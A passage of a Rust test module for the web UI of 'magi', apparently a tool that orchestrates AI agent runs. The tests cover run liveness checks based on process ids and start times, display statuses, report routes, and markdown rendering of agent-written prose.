14013        // A fresh heartbeat naming exactly this run: the same entry now reads
14014        // as confirmed, not merely recorded.
14015        write_daemon(f.home.path(), Timestamp::now());
14016        let warm = f.get(&format!("/api/runs/{id}")).await.json();
14017        assert_eq!(warm["live"], "live", "{warm}");
14018    }
14019
14020    /// Where a run came from is shown, and a run written before origins were
14021    /// recorded (schema 12, no `origin` key) stays readable and says so.
14022    #[tokio::test]
14023    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14024        let f = Fixture::start().await;
14025        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14026            let mut state = RunState::new(
14027                PathBuf::from("/repo/magi"),
14028                "main".to_owned(),
14029                "0123456789abcdef".to_owned(),
14030                "Add a web UI".to_owned(),
14031                Config::default(),
14032            );
14033            state.id = id.to_owned();
14034            state.origin = origin;
14035            let mut value = serde_json::to_value(&state).expect("serialize run");
14036            if let Some(schema) = schema {
14037                value["schema"] = serde_json::json!(schema);
14038                value.as_object_mut().unwrap().remove("origin");
14039            }
14040            let dir = f.runs().join(id);
14041            std::fs::create_dir_all(&dir).expect("run dir");
14042            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14043        };
14044        write(
14045            "20260930-092817-ec34",
14046            Some(crate::run::Origin::from_agent_env(
14047                Some(("4a7b".to_owned(), "chat".to_owned())),
14048                None,
14049            )),
14050            None,
14051        );
14052        write("20260930-092817-0ld1", None, Some(12));
14053
14054        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14055        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14056        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14057
14058        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14059        assert_eq!(
14060            old["origin_label"], "origin unknown (started before origins were recorded)",
14061            "{old}"
14062        );
14063        assert!(old["origin"].is_null(), "{old}");
14064
14065        let list = f.get("/api/runs").await.json();
14066        let labels: Vec<_> = list
14067            .as_array()
14068            .unwrap()
14069            .iter()
14070            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14071            .collect();
14072        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14073    }
14074
14075    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
14076    /// review` claims no daemon at all, so before this field existed the
14077    /// route above read it as `"dead"` — indistinguishable from a run a
14078    /// killed process abandoned — the whole time it was genuinely still
14079    /// answering. With a live pid recorded, it must read `"live"` even
14080    /// though no daemon claims it.
14081    #[tokio::test]
14082    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14083        let f = Fixture::start().await;
14084        let id = "20260922-090000-cccc";
14085        let mut state = RunState::new(
14086            PathBuf::from("/repo/magi"),
14087            "main".to_owned(),
14088            "0123456789abcdef".to_owned(),
14089            "Review only".to_owned(),
14090            Config::default(),
14091        );
14092        state.id = id.to_owned();
14093        state.status = RunStatus::Reviewing;
14094        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14095        // This test process's own pid: guaranteed alive, and never needs a
14096        // real daemon or a second process to prove it. The matching start-time
14097        // marker is what `liveness` now requires alongside a live pid — see
14098        // `RunState::driver_started_at`'s own doc for why the pid alone is
14099        // not enough.
14100        state.driver_pid = Some(std::process::id());
14101        state.driver_started_at = Some(
14102            crate::proc::process_started_at(std::process::id())
14103                .expect("this test process's own start time must be queryable"),
14104        );
14105        let dir = f.runs().join(id);
14106        std::fs::create_dir_all(&dir).expect("run dir");
14107        std::fs::write(
14108            dir.join("run.json"),
14109            serde_json::to_string_pretty(&state).expect("serialize run"),
14110        )
14111        .expect("write run.json");
14112
14113        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14114        assert_eq!(detail["live"], "live", "{detail}");
14115    }
14116
14117    /// A killed manual run's pid can be handed to a wholly unrelated later
14118    /// process — a live query on `driver_pid` alone would read this as
14119    /// `"live"`, exactly the false positive `driver_started_at` exists to
14120    /// catch (see that field's own doc, and `RunState::liveness_with`'s
14121    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
14122    #[tokio::test]
14123    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14124        let f = Fixture::start().await;
14125        let id = "20260922-090100-dddd";
14126        let mut state = RunState::new(
14127            PathBuf::from("/repo/magi"),
14128            "main".to_owned(),
14129            "0123456789abcdef".to_owned(),
14130            "Review only".to_owned(),
14131            Config::default(),
14132        );
14133        state.id = id.to_owned();
14134        state.status = RunStatus::Reviewing;
14135        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14136        // This test process's own pid really is alive, but the marker
14137        // recorded here does not match what it actually started at —
14138        // standing in for the pid having since been reused by a different
14139        // process than the one that wrote `run.json`.
14140        state.driver_pid = Some(std::process::id());
14141        state.driver_started_at = Some("1".to_owned());
14142        let dir = f.runs().join(id);
14143        std::fs::create_dir_all(&dir).expect("run dir");
14144        std::fs::write(
14145            dir.join("run.json"),
14146            serde_json::to_string_pretty(&state).expect("serialize run"),
14147        )
14148        .expect("write run.json");
14149
14150        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14151        assert_eq!(detail["live"], "dead", "{detail}");
14152    }
14153
14154    /// The deck's competition list is normally the first place an operator
14155    /// sees an old run. It must carry the same process verdict as detail, or
14156    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
14157    #[test]
14158    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14159        let mk = |id: &str, pid: Option<u32>| {
14160            let mut s = RunState::new(
14161                PathBuf::from("/repo/magi"),
14162                "main".to_owned(),
14163                "0123456789abcdef".to_owned(),
14164                "Add a web UI".to_owned(),
14165                Config::default(),
14166            );
14167            s.id = id.to_owned();
14168            s.driver_pid = pid;
14169            s.driver_started_at = Some("1790000000".to_owned());
14170            s
14171        };
14172        let states = vec![
14173            mk("20260902-140502-aaaa", Some(77)),
14174            mk("20260902-140502-bbbb", Some(77)),
14175            mk("20260902-140502-cccc", Some(77)),
14176            mk("20260902-140502-dddd", None),
14177        ];
14178        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14179        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14180        let sup: HashMap<String, String> = [(
14181            "20260902-140502-aaaa".to_owned(),
14182            "20260902-140502-cccc".to_owned(),
14183        )]
14184        .into();
14185
14186        let status_calls = std::cell::Cell::new(0);
14187        let identity_calls = std::cell::Cell::new(0);
14188        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14189            |_| {
14190                status_calls.set(status_calls.get() + 1);
14191                Some(true)
14192            },
14193            |_| {
14194                identity_calls.set(identity_calls.get() + 1);
14195                Some("1790000000".to_owned())
14196            },
14197        ));
14198        let rows = summarize(
14199            states,
14200            &open,
14201            &claimed,
14202            &sup,
14203            |p| probe.borrow_mut().status(p),
14204            |p| probe.borrow_mut().started_at(p),
14205        );
14206
14207        assert_eq!(status_calls.get(), 1, "one pid, one status query");
14208        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14209        assert_eq!(rows.len(), 4);
14210        assert!(!rows[0].waiting && rows[1].waiting);
14211        assert_eq!(rows[0].live, crate::run::Liveness::Live);
14212        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14213        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14214        assert_eq!(rows[1].superseded_by, None);
14215    }
14216
14217    #[test]
14218    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14219        let mut state = RunState::new(
14220            PathBuf::from("/repo/magi"),
14221            "main".to_owned(),
14222            "0123456789abcdef".to_owned(),
14223            "Review only".to_owned(),
14224            Config::default(),
14225        );
14226        state.id = "20260922-090200-dead".to_owned();
14227        state.status = RunStatus::Reviewing;
14228        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14229            .expect("serialize list row");
14230        assert_eq!(row["status"], "reviewing");
14231        assert_eq!(row["display_status"], "stale");
14232        assert_eq!(row["live"], "dead", "{row}");
14233        assert!(!row["done"].as_bool().unwrap());
14234    }
14235
14236    #[test]
14237    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14238        use crate::run::Liveness::{Dead, Live, Unknown};
14239        let mut state = RunState::new(
14240            PathBuf::from("/repo/magi"),
14241            "main".to_owned(),
14242            "abc".to_owned(),
14243            "Review only".to_owned(),
14244            Config::default(),
14245        );
14246        for (status, parked, node, waiting, live, expected) in [
14247            (
14248                RunStatus::Judging,
14249                true,
14250                "github-text",
14251                false,
14252                Dead,
14253                "parked",
14254            ),
14255            (RunStatus::Judging, false, "park", false, Dead, "stale"),
14256            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14257            (
14258                RunStatus::Judging,
14259                true,
14260                "github-text",
14261                true,
14262                Dead,
14263                "waiting",
14264            ),
14265            (
14266                RunStatus::Judging,
14267                false,
14268                "github-text",
14269                true,
14270                Dead,
14271                "waiting",
14272            ),
14273            (
14274                RunStatus::Judging,
14275                false,
14276                "github-text",
14277                false,
14278                Dead,
14279                "stale",
14280            ),
14281            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14282            (RunStatus::Judging, true, "park", false, Live, "judging"),
14283            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14284            (RunStatus::Merged, true, "park", false, Dead, "merged"),
14285            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14286            (
14287                RunStatus::Blocked,
14288                true,
14289                "github-text",
14290                true,
14291                Dead,
14292                "waiting",
14293            ),
14294        ] {
14295            state.status = status;
14296            state.parked = parked;
14297            state.events.clear();
14298            state.event(
14299                "park",
14300                "an earlier park does not determine the latest state",
14301            );
14302            state.event(node, "message is not used for classification");
14303            let summary = RunSummary::of(&state, waiting, live);
14304            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14305            assert_eq!(
14306                summary.display_status, expected,
14307                "{status:?}/{node}/{live:?}"
14308            );
14309            assert_eq!(detail.display_status, summary.display_status);
14310            assert_eq!(detail.waiting, summary.waiting);
14311        }
14312        state.status = RunStatus::Judging;
14313        state.parked = false;
14314        state.events.clear();
14315        assert_eq!(run_display_status(&state, false, Dead), "stale");
14316    }
14317
14318    #[tokio::test]
14319    async fn run_display_status_routes_share_the_open_question_store() {
14320        let f = Fixture::start().await;
14321        let id = "20260922-090200-abcd";
14322        write_run(&f.runs(), id, RunStatus::Judging);
14323        let mut state = read_run(&f.runs(), id).unwrap();
14324        state.parked = true;
14325        state.driver_exited = true;
14326        state.event("github-text", "waiting for the owner");
14327        state.save_under(f.home.path()).unwrap();
14328        let store = f.questions();
14329        let mut q = Question::new(
14330            id.to_owned(),
14331            "github-text".to_owned(),
14332            "owner".to_owned(),
14333            "Approve the text?".to_owned(),
14334            String::new(),
14335            Vec::new(),
14336        );
14337        store.put(&mut q).unwrap();
14338        for expected in ["waiting", "parked"] {
14339            let list = f.get("/api/runs").await.json();
14340            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14341            assert_eq!(list[0]["display_status"], expected);
14342            assert_eq!(detail["display_status"], expected);
14343            assert_eq!(detail["waiting"], list[0]["waiting"]);
14344            q.status = ask::QuestionStatus::Answered;
14345            store.put(&mut q).unwrap();
14346        }
14347    }
14348
14349    #[tokio::test]
14350    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14351        let f = Fixture::start().await;
14352        let id = "20260922-090200-abcd";
14353        write_run(&f.runs(), id, RunStatus::Judging);
14354        let mut state = read_run(&f.runs(), id).unwrap();
14355        state.parked = true;
14356        state.driver_exited = true;
14357        state.event("park", "stopped at a node boundary");
14358        state.save_under(f.home.path()).unwrap();
14359
14360        for expected in ["parked", "stale"] {
14361            let list = f.get("/api/runs").await.json();
14362            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14363            assert_eq!(list[0]["live"], "dead");
14364            assert_eq!(list[0]["display_status"], expected);
14365            assert_eq!(detail["display_status"], expected);
14366            // Model a driver claim followed by a crash before the next event:
14367            // the persisted flag changes, but the last event is still park.
14368            state.parked = false;
14369            state.save_under(f.home.path()).unwrap();
14370        }
14371    }
14372
14373    #[tokio::test]
14374    async fn the_run_list_is_newest_first_and_honours_a_limit() {
14375        let f = Fixture::start().await;
14376        for id in [
14377            "20260902-140501-aaaa",
14378            "20260902-140502-bbbb",
14379            "20260902-140503-cccc",
14380        ] {
14381            write_run(&f.runs(), id, RunStatus::Merged);
14382        }
14383
14384        let all = f.get("/api/runs").await.json();
14385        let capped = f.get("/api/runs?limit=2").await.json();
14386
14387        assert_eq!(all[0]["id"], "20260902-140503-cccc");
14388        assert_eq!(all.as_array().map(Vec::len), Some(3));
14389        assert_eq!(capped.as_array().map(Vec::len), Some(2));
14390        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14391    }
14392
14393    #[tokio::test]
14394    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14395        let f = Fixture::start().await;
14396        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14397
14398        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14399
14400        assert_eq!(res.status, 200);
14401        assert!(
14402            res.headers
14403                .contains("content-type: text/plain; charset=utf-8"),
14404            "a browser must render it, not download it: {}",
14405            res.headers
14406        );
14407        // The assertion is on content, not on the absence of escapes: colour
14408        // is a process-global that `serve` turns off at startup, and another
14409        // test in this binary may own it while this one runs.
14410        assert!(
14411            res.body.contains("20260902-140501-a1b2"),
14412            "the report is about the run that was asked for: {}",
14413            res.body
14414        );
14415    }
14416
14417    #[tokio::test]
14418    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14419        // The view names the run's state directory, which reads the process-global home.
14420        crate::run::pin_test_home();
14421        let f = Fixture::start().await;
14422        let id = "20260902-140501-a1b2";
14423        write_run(&f.runs(), id, RunStatus::Stalled);
14424        // A stalled panel and one review round, written through the real
14425        // state file so the route reads what a run really leaves behind.
14426        let path = f.runs().join(id).join("run.json");
14427        let mut v: serde_json::Value =
14428            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14429        v["tally"] = serde_json::json!({
14430            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14431            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14432            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14433            "met_quorum": false, "rankings": 1
14434        });
14435        v["reviews"] = serde_json::json!([{
14436            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14437            "e2e_deferred": true,
14438            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14439                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14440            ]}]
14441        }]);
14442        std::fs::write(&path, v.to_string()).unwrap();
14443        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14444        std::fs::write(
14445            f.runs().join("20260902-140502-dead").join("run.json"),
14446            "{not json",
14447        )
14448        .unwrap();
14449
14450        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14451
14452        assert_eq!(res.status, 200, "{}", res.body);
14453        assert!(res.headers.contains("content-type: application/json"));
14454        let j = res.json();
14455        assert_eq!(j["schema"], 1);
14456        assert_eq!(j["header"]["id"], id);
14457        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14458        let kinds: Vec<&str> = j["sections"]
14459            .as_array()
14460            .unwrap()
14461            .iter()
14462            .map(|s| s["kind"].as_str().unwrap())
14463            .collect();
14464        assert_eq!(kinds, ["candidates", "tally", "review"]);
14465        let tally = &j["sections"][1]["tally"];
14466        assert_eq!(
14467            (tally["decided"].clone(), tally["provisional"].clone()),
14468            (false.into(), true.into())
14469        );
14470        let round = &j["sections"][2]["rounds"][0];
14471        assert_eq!(round["e2e"]["state"], "deferred");
14472        assert_eq!(round["findings"][0]["severity"], "major");
14473        assert_eq!(round["findings"][0]["blocking"], true);
14474        assert_eq!(round["findings"][0]["state"], "open");
14475
14476        // The raw route keeps working beside it.
14477        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14478
14479        // An unreadable run is an error, as on the text route, and is counted.
14480        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14481        assert_ne!(bad.status, 200, "{}", bad.body);
14482        assert_eq!(
14483            bad.status,
14484            f.get("/api/runs/20260902-140502-dead/report").await.status
14485        );
14486        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14487        assert_eq!(
14488            f.get("/api/runs/20260902-999999-ffff/report.json")
14489                .await
14490                .status,
14491            404
14492        );
14493    }
14494
14495    #[tokio::test]
14496    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14497        crate::run::pin_test_home();
14498        let f = Fixture::start().await;
14499        let id = "20260902-140503-delib";
14500        write_run(&f.runs(), id, RunStatus::Merged);
14501        let path = f.runs().join(id).join("run.json");
14502        let mut v: serde_json::Value =
14503            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14504        v["judgements"] = serde_json::json!([
14505            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14506        ]);
14507        v["tally"] = serde_json::json!({
14508            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14509            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14510            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14511            "met_quorum": true, "rankings": 1
14512        });
14513        v["deliberation"] = serde_json::json!([
14514            {
14515                "round": 1,
14516                "turns": [
14517                    {
14518                        "judge": 1,
14519                        "agent": "judge-1",
14520                        "body": "I prefer candidate **A** because it has cleaner tests.",
14521                        "tentative": "A"
14522                    }
14523                ]
14524            },
14525            {
14526                "round": 2,
14527                "turns": [
14528                    {
14529                        "judge": 1,
14530                        "agent": "judge-1",
14531                        "body": "Still thinking, no choice yet.",
14532                        "tentative": null
14533                    }
14534                ]
14535            }
14536        ]);
14537        std::fs::write(&path, v.to_string()).unwrap();
14538
14539        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14540        assert_eq!(res.status, 200, "{}", res.body);
14541        let j = res.json();
14542        let judging = j["sections"]
14543            .as_array()
14544            .unwrap()
14545            .iter()
14546            .find(|s| s["kind"] == "judging")
14547            .expect("judging section exists");
14548
14549        // Existing summary lines remain intact
14550        let delib_lines = judging["deliberation"].as_array().unwrap();
14551        assert_eq!(delib_lines.len(), 2);
14552        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14553        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14554
14555        // rounds carry turn bodies, tentative and parsed body_md
14556        let rounds = judging["rounds"].as_array().unwrap();
14557        assert_eq!(rounds.len(), 2);
14558        let r1_t0 = &rounds[0]["turns"][0];
14559        assert_eq!(r1_t0["judge"], 1);
14560        assert_eq!(r1_t0["agent"], "judge-1");
14561        assert_eq!(r1_t0["tentative"], "A");
14562        assert_eq!(
14563            r1_t0["body"],
14564            "I prefer candidate **A** because it has cleaner tests."
14565        );
14566        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14567
14568        let r2_t0 = &rounds[1]["turns"][0];
14569        assert_eq!(r2_t0["judge"], 1);
14570        assert_eq!(r2_t0["agent"], "judge-1");
14571        assert!(r2_t0["tentative"].is_null());
14572        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14573        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14574
14575        // A run with empty deliberation array yields empty rounds
14576        let id_empty = "20260902-140504-nodelib";
14577        write_run(&f.runs(), id_empty, RunStatus::Merged);
14578        let path_empty = f.runs().join(id_empty).join("run.json");
14579        let mut v_empty: serde_json::Value =
14580            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14581        v_empty["judgements"] = serde_json::json!([
14582            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14583        ]);
14584        v_empty["deliberation"] = serde_json::json!([]);
14585        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14586
14587        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14588        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14589        let j_empty = res_empty.json();
14590        let judging_empty = j_empty["sections"]
14591            .as_array()
14592            .unwrap()
14593            .iter()
14594            .find(|s| s["kind"] == "judging")
14595            .expect("judging section exists");
14596        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14597    }
14598
14599    #[tokio::test]
14600    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14601        let f = Fixture::start().await;
14602
14603        let html = f.get("/").await;
14604        let css = f.get("/app.css").await;
14605        let js = f.get("/app.js").await;
14606
14607        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14608        assert!(
14609            html.headers
14610                .contains("content-type: text/html; charset=utf-8")
14611        );
14612        assert!(css.headers.contains("content-type: text/css"));
14613        assert!(js.headers.contains("content-type: text/javascript"));
14614        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14615    }
14616
14617    #[test]
14618    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14619        let body = |name: &str| {
14620            let at = APP_JS
14621                .find(name)
14622                .unwrap_or_else(|| panic!("{name} missing"));
14623            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14624        };
14625        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14626        let note = body("function landRoundNote");
14627        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14628        assert!(note.contains("Land round ${round}"));
14629        let land = body("function renderLand");
14630        let note_at = land
14631            .find("landRoundNote(pr)")
14632            .expect("renderLand uses the note");
14633        assert!(
14634            note_at
14635                < land
14636                    .find("roundRail(pr)")
14637                    .expect("renderLand uses the rail")
14638        );
14639    }
14640
14641    #[test]
14642    fn the_runs_page_redesign_keeps_its_guards() {
14643        let body = |name: &str| {
14644            let at = APP_JS
14645                .find(name)
14646                .unwrap_or_else(|| panic!("{name} missing"));
14647            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14648        };
14649        // A null child must never reach the native append (it prints "null").
14650        let land = body("function renderLand");
14651        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14652        assert!(
14653            !land.contains("box.append("),
14654            "renderLand must use append()"
14655        );
14656        assert!(land.contains("append(box, ["));
14657        // Tabs are hash routes; the run id alone decides a reload.
14658        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14659        assert!(
14660            body("function applyRoute")
14661                .contains("route.name !== state.route.name || route.id !== state.route.id")
14662        );
14663        // The decorative diagram is gone, the strip and its guards stay.
14664        assert!(!APP_JS.contains("adviseConvergeDiagram"));
14665        assert!(!INDEX_HTML.contains("advise-converge"));
14666        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14667        assert!(APP_JS.contains("provisional"));
14668        for id in [
14669            "run-tab-overview",
14670            "run-tab-timeline",
14671            "run-tab-report",
14672            "run-report",
14673            "runs-scope",
14674        ] {
14675            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14676        }
14677        assert!(!INDEX_HTML.contains("runs-tree"));
14678        assert!(!INDEX_HTML.contains("run-raw-panel"));
14679        // Fold still says it cannot be resumed.
14680        assert!(APP_JS.contains("resume"));
14681        // The unreadable-runs count stays on the page.
14682        assert!(APP_JS.contains("unreadable"));
14683    }
14684
14685    #[test]
14686    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14687        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14688        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14689        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
14690        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14691        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14692        // The subtitle still counts them whatever the banner does.
14693        assert!(APP_JS.contains("unreadable` : null"));
14694    }
14695
14696    #[test]
14697    fn the_run_detail_payload_says_whether_the_run_is_done() {
14698        // `landView` reads `run.done`; the detail response must carry it.
14699        for (status, done) in [
14700            (RunStatus::Superseded, true),
14701            (RunStatus::Blocked, true),
14702            (RunStatus::Landing, false),
14703        ] {
14704            let mut state = RunState::new(
14705                std::path::PathBuf::from("/repo"),
14706                "main".to_owned(),
14707                "abc".to_owned(),
14708                "x".to_owned(),
14709                crate::config::Config::default(),
14710            );
14711            state.status = status;
14712            let v = serde_json::to_value(RunDetailView::of(
14713                state,
14714                false,
14715                crate::run::Liveness::Unknown,
14716                None,
14717                None,
14718                None,
14719            ))
14720            .unwrap();
14721            assert_eq!(v["done"], done, "{status:?}");
14722        }
14723    }
14724
14725    /// The first node of a markdown block holds a `strong` somewhere.
14726    fn has_strong(nodes: &[md::Node]) -> bool {
14727        serde_json::to_string(nodes).unwrap().contains("strong")
14728    }
14729
14730    #[test]
14731    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14732        let mut state = RunState::new(
14733            std::path::PathBuf::from("/repo"),
14734            "main".to_owned(),
14735            "abc".to_owned(),
14736            "x".to_owned(),
14737            crate::config::Config::default(),
14738        );
14739        let proposal = |approach: &str| {
14740            serde_json::json!({
14741                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14742            })
14743        };
14744        state.advice = Some(
14745            serde_json::from_value(serde_json::json!({
14746                "records": [
14747                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14748                     "proposal": proposal("do **this**")},
14749                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14750                ],
14751                "synthesis": "- one\n- **two**\n\n`code`",
14752            }))
14753            .unwrap(),
14754        );
14755        state.candidates = serde_json::from_value(serde_json::json!([
14756            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14757             "summary": "did **it**"},
14758            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14759        ]))
14760        .unwrap();
14761        // Recorded in ascending severity, the reverse of how the page sorts
14762        // them: the arrays must follow the record, not the display.
14763        state.reviews = serde_json::from_value(serde_json::json!([{
14764            "round": 1, "head": "h",
14765            "reviews": [{
14766                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14767                "findings": [
14768                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
14769                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14770                ],
14771            }],
14772            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14773            "fix": {"agent": "a", "notes": "fixed **it**",
14774                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14775        }, {"round": 2, "head": "h2", "reviews": []}]))
14776        .unwrap();
14777
14778        let v = serde_json::to_value(RunDetailView::of(
14779            state,
14780            false,
14781            crate::run::Liveness::Unknown,
14782            None,
14783            None,
14784            None,
14785        ))
14786        .unwrap();
14787
14788        let strong = |p: &str| {
14789            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14790            assert!(n.to_string().contains("strong"), "{p}: {n}");
14791        };
14792        strong("/advice_md/synthesis");
14793        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14794        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14795        strong("/advice_md/approaches/0");
14796        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14797        strong("/candidate_summaries_md/0");
14798        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14799        strong("/reviews_md/0/reviewers/0/summary");
14800        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14801        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14802        assert!(f[1].to_string().contains("strong"));
14803        strong("/reviews_md/0/reconsideration/0");
14804        strong("/reviews_md/0/fix/notes");
14805        strong("/reviews_md/0/fix/rejected/0");
14806        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14807        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14808        // The raw strings stay, and no schema moved.
14809        assert_eq!(v["candidates"][0]["summary"], "did **it**");
14810        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14811    }
14812
14813    #[test]
14814    fn a_run_without_advice_has_no_advice_md() {
14815        let state = RunState::new(
14816            std::path::PathBuf::from("/repo"),
14817            "main".to_owned(),
14818            "abc".to_owned(),
14819            "x".to_owned(),
14820            crate::config::Config::default(),
14821        );
14822        let p = run_prose_md(&state);
14823        assert!(p.advice_md.is_none());
14824        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14825    }
14826
14827    #[test]
14828    fn a_question_view_carries_markdown_for_each_thread_turn() {
14829        let home = TempDir::new().unwrap();
14830        let store = ask::Questions::at(home.path().join("questions"));
14831        let mut q = Question::new(
14832            "run".to_owned(),
14833            "implement".to_owned(),
14834            "impl-A".to_owned(),
14835            "which?".to_owned(),
14836            String::new(),
14837            Vec::new(),
14838        );
14839        q.say("plain words").unwrap();
14840        q.reply("use **this**", Vec::new()).unwrap();
14841        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14842        let bodies = &v["thread_bodies_md"];
14843        assert_eq!(bodies.as_array().unwrap().len(), 2);
14844        assert!(!bodies[0].to_string().contains("strong"));
14845        assert!(bodies[1].to_string().contains("strong"));
14846    }
14847
14848    #[test]
14849    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14850        let home = TempDir::new().unwrap();
14851        let store = ask::Questions::at(home.path().join("questions"));
14852        let mut q = Question::new(
14853            "run".to_owned(),
14854            "conduct".to_owned(),
14855            "conduct".to_owned(),
14856            "which?".to_owned(),
14857            String::new(),
14858            Vec::new(),
14859        );
14860        q.say("plain words").unwrap();
14861        q.thread.push(ask::Turn {
14862            who: ask::Who::Agent,
